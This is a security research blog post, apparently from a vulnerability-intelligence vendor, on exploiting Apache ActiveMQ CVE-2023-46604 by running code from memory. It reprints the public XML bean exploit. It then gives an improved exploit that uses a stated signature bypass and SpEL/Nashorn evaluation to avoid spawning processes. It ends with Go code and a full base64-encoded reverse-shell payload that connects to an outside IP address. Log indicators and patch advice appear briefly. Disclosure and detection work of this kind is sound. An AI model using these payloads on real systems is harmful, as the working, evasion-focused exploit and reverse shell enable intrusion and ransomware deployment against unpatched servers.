Go back

Executing from Memory Using ActiveMQ CVE-2023-46604

avatar
Jacob Baines@Junior_Baines

Key Takeaways

CVE-2023-46604 allows attackers to execute arbitrary code from ActiveMQ’s memory, therefore avoiding most detections.
There were no public details or detections for this exploitation method until this blog.
A memory-resident attacker is very difficult to detect. It’s best to ensure your ActiveMQ instances are not internet-facing.

Introduction

Huntress Labs, Rapid7, and ArticWolf all recently published reports of threat actors exploiting ActiveMQ CVE-2023-46604 to drop ransomware onto the victim host. The attackers used CVE-2023-46604 to invoke cmd.exe followed by curl.exe or msiexec.exe in order to download and execute their ransomware. The attackers were very obvious and caught the aforementioned companies' attention, all of which offer managed detection and response products. However, the attacks needn’t have been so noisy. In this blog, we will explore how an attacker can exploit CVE-2023-46604 and execute arbitrary code from memory.

Public Exploits

The threat actors all appeared to have relied on the public details for this vulnerability. The exploit was originally disclosed in a Chinese-language blog by X1R0z on October 25, 2023 and then re-analyzed by Stephen Fewer of Rapid7 on November 1, 2023. They both, more or less, came up with an exploit that used ClassPathXmlApplicationContext to load an XML Bean that looks like this:

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>cmd.exe</value>
                <value>/c</value>
                <value>calc.exe</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

The above XML bean causes ActiveMQ to call java.langProcessBuilder(“cmd.exe”, “/c”, “calc.exe”); - resulting in ActiveMQ launching the calculator process. There have been quite a few other public exploits (Metasploit, Nuclei, XDB-90299d8578e8, XDB-07dca85f6442, XDB-2a263bac5fa9, XDB-c01880ea274b, XDB-5f38a93c3fe0, XDB-0462e934919b, XDB-7adf2c60412f) but none deviate from this path.

The perceived restriction is that the attacker must use a bean that accepts all of its configuration through its constructor and has a function that can be invoked via the init-method parameter (or destroy).

However, none of those restrictions actually exist.

Creating a Better Exploit

The first detail worth noting is that the attacker doesn’t have to use ClassPathXmlApplicationContext. FileSystemXmlApplicationContext works just fine. The output barely changes on the wire.

CVE-2023-46604 on the wire

It’s important to note because existing network signatures (see sid:2049045) rely on ClassPathXmlApplicationContext being present. So we get a simple signature bypass by using FileSystemXmlApplicationContext.

When it comes to the XML bean, we don’t actually need most of what the public exploits use. We don’t need to construct a bean or invoke a function via init-method. We just need to use SpEL.

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="vulncheck" class="java.lang.String">
     <property name="vc" value="#{''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('Nashorn').eval('var fw = new java.io.FileWriter(&quot;/tmp/3&quot;); fw.write(&quot;Hello VulnCheck&quot;); fw.close();')}"/>
    </bean>
</beans>

In the XML bean above, you can see that we’ve embedded a SpEL expression to invoke the Nashorn javascript engine and write a file to disk. The payload does not shell out to cmd.exe or bash to write to disk. It just uses the native functionality in the java.exe process. Spring, by design, allows for SpEL in bean definitions. As a feature, we can execute arbitrary code as the original process. We don’t need to shell out to a new process at all!

That means the threat actors could have avoided dropping their tools to disk. They could have just written their encryptor in Nashorn (or loaded a class/JAR into memory) and remained memory resident. Perhaps avoiding detection from the aforementioned managed EDR teams.

However, if the attacker did do that, they’d also need to clean up the activemq.log because the above XML triggers the following log message (note that:

2023-11-11 14:05:10,839 | WARN | Exception encountered during context initialization - canceling refresh attempt: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'vulncheck' defined in URL http://10.9.49.131:8080/bppkArhoWrRn: Initialization of bean failed; nested exception is org.springframework.beans.factory.BeanExpressionException: Expression parsing failed; nested exception is org.springframework.expression.ExpressionInvocationTargetException: A problem occurred when trying to execute method 'eval' on object of type jdk.nashorn.api.scripting.NashornScriptEngine | org.springframework.context.support.FileSystemXmlApplicationContext | ActiveMQ Transport: tcp:///10.9.49.131:57484@61616

Generally speaking, you never want to see Nashorn in your logs. You really don’t want to see it associated with BeanCreation. Note that the nested exception will not always include a “Nashorn` exception, so detection should occur around the remote BeanCreationException.

A Reverse Shell

The overarching objective of this blog was executing arbitrary code in memory. However, I’m informed people would be disappointed if they didn’t get a reverse shell payload. Remember, when you use this reverse shell, you are using bash or cmd.exe... which is the exact thing that caught Huntress, Rapid7, and ArticFox’s attention in the first place. But here you go anyway:

xml := fmt.Sprintf(`<beans
       xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="
           http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
       <bean id="vulncheck" class="java.lang.String">
           <property name="file" value="#{''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('Nashorn').eval('eval(new java.lang.String(java.util.Base64.decoder.decode(&quot;%s&quot;)));')}"/>
       </bean>
   </beans>`, b64.StdEncoding.EncodeToString([]byte(payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, conf.C2Type == c2.SSLShellServer))))

Note that payload.ReverseShellJSSScript is from go-exploit, and automatically supports Windows and Linux targets, as well as encryption.

The whole thing looks like this on the wire:

<beans
    xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="
         http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="vulncheck" class="java.lang.String">
     <property name="file" value="#{''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('Nashorn').eval('eval(new java.lang.String(java.util.Base64.decoder.decode(&quot;dmFyIHNoZWxsID0gImJhc2giOwppZiAoamF2YS5sYW5nLlN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLmluZGV4T2YoIldpbmRvd3MiKSAhPSAtMSkgewoJc2hlbGwgPSAiY21kLmV4ZSI7Cn0KdmFyIHA9bmV3IGphdmEubGFuZy5Qcm9jZXNzQnVpbGRlcihzaGVsbCkucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBzPW5ldyBqYXZhLm5ldC5Tb2NrZXQoIjEwLjkuNDkuMTE2IiwgMTI3MCk7CnZhciBzb2NrZXRJbnB1dCA9IG5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKG5ldyBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyKHMuZ2V0SW5wdXRTdHJlYW0oKSkpOwp2YXIgc29ja2V0T3V0cHV0ID0gbmV3IGphdmEuaW8uQnVmZmVyZWRXcml0ZXIobmV3IGphdmEuaW8uT3V0cHV0U3RyZWFtV3JpdGVyKHMuZ2V0T3V0cHV0U3RyZWFtKCkpKTsKdmFyIHByb2Nlc3NJbnB1dCA9IG5ldyBqYXZhLmlvLkJ1ZmZlcmVkV3JpdGVyKG5ldyBqYXZhLmlvLk91dHB1dFN0cmVhbVdyaXRlcihwLmdldE91dHB1dFN0cmVhbSgpKSk7CnZhciBwcm9jZXNzT3V0cHV0ID0gbmV3IGphdmEuaW8uQnVmZmVyZWRSZWFkZXIobmV3IGphdmEuaW8uSW5wdXRTdHJlYW1SZWFkZXIocC5nZXRJbnB1dFN0cmVhbSgpKSk7Cgp3aGlsZSAoIXMuaXNDbG9zZWQoKSkgewoJdmFyIGRhdGEKCWlmICgoZGF0YSA9IHNvY2tldElucHV0LnJlYWRMaW5lKCkpICE9IG51bGwpIHsKCQlwcm9jZXNzSW5wdXQud3JpdGUoZGF0YSArICJcbiIpOwoJCXByb2Nlc3NJbnB1dC5mbHVzaCgpCgl9CglqYXZhLmxhbmcuVGhyZWFkLnNsZWVwKDUwKTsKCgl3aGlsZSAocHJvY2Vzc091dHB1dC5yZWFkeSgpICYmIChkYXRhID0gcHJvY2Vzc091dHB1dC5yZWFkKCkpID4gMCkgewoJCQlzb2NrZXRPdXRwdXQud3JpdGUoZGF0YSk7Cgl9Cglzb2NrZXRPdXRwdXQuZmx1c2goKQoJdHJ5IHsKCQlwLmV4aXRWYWx1ZSgpOwoJCWJyZWFrOwoJfSBjYXRjaCAoZSkgewoJfQp9CgpwLmRlc3Ryb3koKTsKcy5jbG9zZSgpOw==&quot;)));')}"/>
    </bean>
</beans>

Conclusion

There are currently more than ten thousand of internet-facing ActiveMQ servers, and multiple organizations have reported ransomware attacks. Now that we know attackers can execute stealthy attacks using CVE-2023-46604, it’s become even more important to patch your ActiveMQ servers and, ideally, remove them from the internet entirely.

About VulnCheck

The VulnCheck Initial Access team is always looking to advance the state of attack on initial access vulnerabilities like CVE-2023-46604. For more research like this, see our blogs, PaperCut Exploitation and Fileless Remote Code Execution on Juniper Firewalls . Sign up to start a trial of our Initial Access Intelligence and Exploit & Vulnerability Intelligence product today.